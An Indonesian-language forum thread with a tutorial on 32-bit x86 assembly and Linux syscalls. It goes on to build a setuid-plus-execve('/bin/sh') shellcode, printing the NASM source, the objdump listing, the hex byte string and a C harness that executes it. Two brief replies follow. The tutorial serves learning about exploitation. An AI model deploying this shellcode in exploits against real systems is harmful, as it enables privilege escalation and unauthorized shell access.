Home General Computer Multimedia Business Lounge
|
Assembly 32 bit and shellc0d3
|
|
05-18-2010, 07:33 AM
|
|||
|
|||
|
Assembly 32 bit and shellc0d3
sebenernya ane juga gak jago soal asm belajar dari mikrodata dulu gak bisa2 tapi gapapa deh share dikit ja ya mumpung ada tempat.
instruksi dasar yg sering dipake: -mov artinya move (pindahkan) contoh dg assembly 16 bit: misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -> syarat interup 21 hexa fungsi 9 hexa misal kita mao panggil int 21 h fungsi 9 hexa untuk menampilkan teks di layar. -jmp artinya jump (loncat) bisa dipakai untuk loncat misal ke macro (macro atau prosedur cuma ada di asm 16 bit di 32 bit gak ada macro) -push -> dorong (untuk menyimpan) misal untuk menyimpan data ke stack pointer - pop -> ambil ( untuk mengambil data dari stack) - jne -> jump if not equal (lompat jika tidak sama) - jnz -> jump if not zero (lompat jika bukan zero) - jnc -> jump if not carry (lompat jika tidak ada sisa) - lea -> load effective address - and -> logika and untuk lebih lengkapnya silahkan cari di google dg keyword: "assembly language instruction" <strong>Model Pemrograman </strong> perbedaan menonjol antara model pemrograman asm bisa dilihat dari register2 yang banyak dia pakai. - model asm 8 bit mengunakan register: AH,AL,BH,BL,CH,CL,DH,DL -model 16 bit menggunakan register : AX,BX,CX,DX,SP,BP,DI,SI,IP,FLAGS,CS,DS,ES,SS,FS,GS - model 32 bit menggunakan regi: EAX, EBX,ECX,EDX,ESP,EBP,EDI,EIP (return address -> ini dia yang banyak dimanfaatkan hacker pada saat nilai kembali berusaha dioverwrite utk point ke instruksi yang ilegal) contoh syscall dg asm: karena yg ngetrend adl yg 32 bit maka kita akan coba langsung aja prakteknya di bawah ini: dalam kasus ini kita akan memanggil 2 syscall nomer 1 (sys_exit) dan syscall nomer 4 (sys_write) berikut ini contoh basic asm yg menggunakan 2 syscall tadi: (btw ni asm 32 bit di linux tar kita kompile pake nasm (netwide assembler) kita jadikan elf binary file name: mywisdom.asm section .data tes db 'mywisdom',10;db artinya define byte di mana var tes diisi string mywisdom section .text global _start _start: mov edx,8 ;panjang string mywisdom mov ecx,tes ; ecx diisi data tadi mov ebx, 1 ; ebx diisi 1 syarat sycall no 4 mov eax, 4 ; mo mangil syscall no 4 yaitu write int 80h ;interup 80 hexa utk eksekusi syscall mov ebx,0 mov eax,1 ; int 80h ;keluar program untuk lebih jelasnya ini gw sengaja upload daftar table syscall bisa diliat di sini: http://bluemaster.iu.hio.no/edu/ca/lin-a...calls.html selanjutnya simpan dengan nama file mywisdom.asm cara kompile: nasm -f elf mywisdom.asm ld -o mywisdom mywisdom.o oya selain itu ada juga yg model 32 bit at&t kita kompile pake gas, biasanya ini banyak dipake di inline assembly. <strong>CONTOH MEMBUAT SHELLC0DE DARI ASM </strong>sebelum mulai ada aturanya: peraturan shellc0de yang baik: 1. jangan terlalu panjang 2. jangan mengandung \x00 (terminate string) ok dari asm c0de berikut ini: filename: leqhi.asm global _start section .text _start: xor ecx,ecx lea eax,[ecx+17h];setuid syscall int 80h push ecx;ecx = 0 push 0x68732f6e ;kalao diconvert jadi hs\n artinya sh krn selalu dibalik push 0x69622f2f ;nib mov ebx,esp lea eax,[ecx+0Bh];syarat utk execve syscall harus load efektif address int 80h kompile: nasm -f elf leqhi.asm ld -o leqhi leqhi.o lalu untuk membuat shellc0denya kita disassembly .section text: root@DL:/mnt/sda12/root/c/asm# objdump -d leqhi sh: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: 8d 41 17 lea 0x17(%ecx),%eax 8048065: cd 80 int $0x80 8048067: 51 push %ecx 8048068: 68 6e 2f 73 68 push $0x68732f6e 804806d: 68 2f 2f 62 69 push $0x69622f2f 8048072: 89 e3 mov %esp,%ebx 8048074: 8d 41 0b lea 0xb(%ecx),%eax 8048077: cd 80 int $0x80 root@DL:/mnt/sda12/root/c/asm# ok shellcode dari hasil objdump di atas adalah: \x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80 ok template utk eksekusi shellcode yg kali ini akan kita pakai adl: #include <stdio.h> int main() { char shellcode[]="bagian yang diapit ini akan kita sisipkan shellcode kita"; (*(void (*)()) shellcode)(); } di mana bagian yang ada tulisan: "bagian yang diapit ini akan kita sisipkan shellcode kita" tadi akan kita sisipkan shellcode hasil konvert sehingga menjadi shellc0de kita di bawah ini: filename: hack.c #include <stdio.h> int main() { char shellcode[]="\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80"; (*(void (*)()) shellcode)(); } selanjutnya tingal dikompile: gcc -o hack hack.c ok sekian dan selanjutnya akan ane lanjut laen kali krn sudah waktunya kerja lagi. trims |
|||
|
04-27-2011, 12:14 PM
|
|||
|
|||
|
RE: Assembly 32 bit and shellc0d3
asik untuk belajar ollydbg thx gan
|
|||
|
02-11-2013, 08:56 PM
(This post was last modified: 02-11-2013 08:58 PM by ghosthands.)
|
|||
|
|||
|
RE: Assembly 32 bit and shellc0d3
misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -> ; syarat interup 21 hexa fungsi 9 hexa
yang ane bold itu instruksi / typo / format penulisan di linux ??? link syscall juga udah mati
|
|||
|
« Next Oldest | Next Newest »
|
| Topic Tools | ||||||
| ||||||
| Users Browsing |
| 1 Guest(s) |











